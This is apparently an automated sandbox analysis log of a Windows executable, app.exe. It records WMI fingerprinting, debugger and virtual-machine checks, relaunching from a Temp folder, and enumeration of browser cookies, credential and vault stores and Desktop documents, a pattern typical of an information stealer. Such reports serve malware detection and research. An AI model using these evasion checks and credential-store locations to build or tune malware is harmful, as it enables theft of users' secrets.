Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Users\user\Desktop\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_00427361 GetFullPathNameA,lstrcpynA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,	0_2_00427361
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025CA710 CloseHandle,FindFirstFileW,FindClose,HeapFree,HeapFree,HeapFree,	0_2_025CA710
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025E4B93 FindFirstFileExW,	0_2_025E4B93
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0259A710 CloseHandle,FindFirstFileW,FindClose,HeapFree,HeapFree,HeapFree,	3_2_0259A710
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0259FEC0 HeapFree,HeapFree,HeapFree,HeapFree,FindFirstFileW,HeapFree,HeapFree,GetLastError,HeapFree,HeapFree,	3_2_0259FEC0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025B4B93 FindFirstFileExW,	3_2_025B4B93

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0041E91D VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

0_2_0041E91D

Source: app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107954475.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3092789933.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3098259663.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3099980672.0000000000956000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: app.exe, 00000003.00000002.3294569055.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_00408FF2 rdtsc

0_2_00408FF2

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_025E44E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_025E44E2

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0042C59F VirtualAlloc,VirtualAlloc,LoadLibraryA,GetProcAddress,

0_2_0042C59F

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_025CD430 GetProcessHeap,RtlAllocateHeap,

0_2_025CD430

Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0041B198 SetUnhandledExceptionFilter,	0_2_0041B198
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0041B1AC SetUnhandledExceptionFilter,	0_2_0041B1AC
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_0256EAC0 RtlAddVectoredExceptionHandler,SetThreadStackGuarantee,GetLastError,HeapFree,HeapFree,	0_2_0256EAC0
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025DE0C8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_025DE0C8
Source: C:\Users\user\Desktop\app.exe	Code function: 0_2_025E44E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_025E44E2
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_0253EAC0 RtlAddVectoredExceptionHandler,SetThreadStackGuarantee,GetLastError,HeapFree,HeapFree,	3_2_0253EAC0
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025AE0C8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_025AE0C8
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025B44E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_025B44E2
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025ADC6E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_025ADC6E
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Code function: 3_2_025ADDCA SetUnhandledExceptionFilter,	3_2_025ADDCA

Source: C:\Users\user\Desktop\app.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\app.exe	Process created: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe "C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5			Jump to behavior

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_00409127 cpuid

0_2_00409127

Source: C:\Users\user\Desktop\app.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	0_2_00401000
Source: C:\Users\user\Desktop\app.exe	Code function: GetLocaleInfoA,	0_2_0041E705
Source: C:\Users\user\Desktop\app.exe	Code function: lstrcpyA,wsprintfA,LoadLibraryA,GetLocaleInfoA,	0_2_00429E88

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\3D Objects VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\3D Objects\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\3D Objects\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Adobe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Comms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\D3DSCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ElevatedDiagnostics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Google VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Intel VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\MicrosoftEdge VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Mozilla VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\PeerDistRepub VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Publishers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\VirtualStore VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\LocalLow VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\LocalLow\Adobe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\LocalLow\Intel VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\LocalLow\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\LocalLow\Mozilla VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Sun VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\Acrobat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\Flash Player VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\Headlights VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\Linguistics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Adobe\LogTransport2 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\AddIns VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Credentials VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Excel VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\MMC VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Protect VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Vault VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\SystemExtensionsDev VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\Sun\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Contacts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Contacts\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Contacts\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\container.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\container.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\deprecated.cookie VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\deprecated.cookie VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException\container.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException\container.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException\Low VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\ESE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\ESE\container.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\ESE\container.dat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Low VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Low\ESE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\PrivacIE VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\AFWAAFRXKO VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\app.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\app.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\Excel.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\Excel.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\MLMJAYLPER.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\RMDIWSRLPR.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\UQMPCTZARJ.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX\YCGNAHEPCK.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\GQSZOBXUFX.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\IVHSHTCODI VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\JDSOXXXWOA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\JPEAFKFPZY.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\FACWLRWHGG.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\IVHSHTCODI.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\MLMJAYLPER.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\UQMPCTZARJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\XQACHMZIHU.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Desktop\MLMJAYLPER\YCGNAHEPCK.xlsx VolumeInformation	Jump to behavior
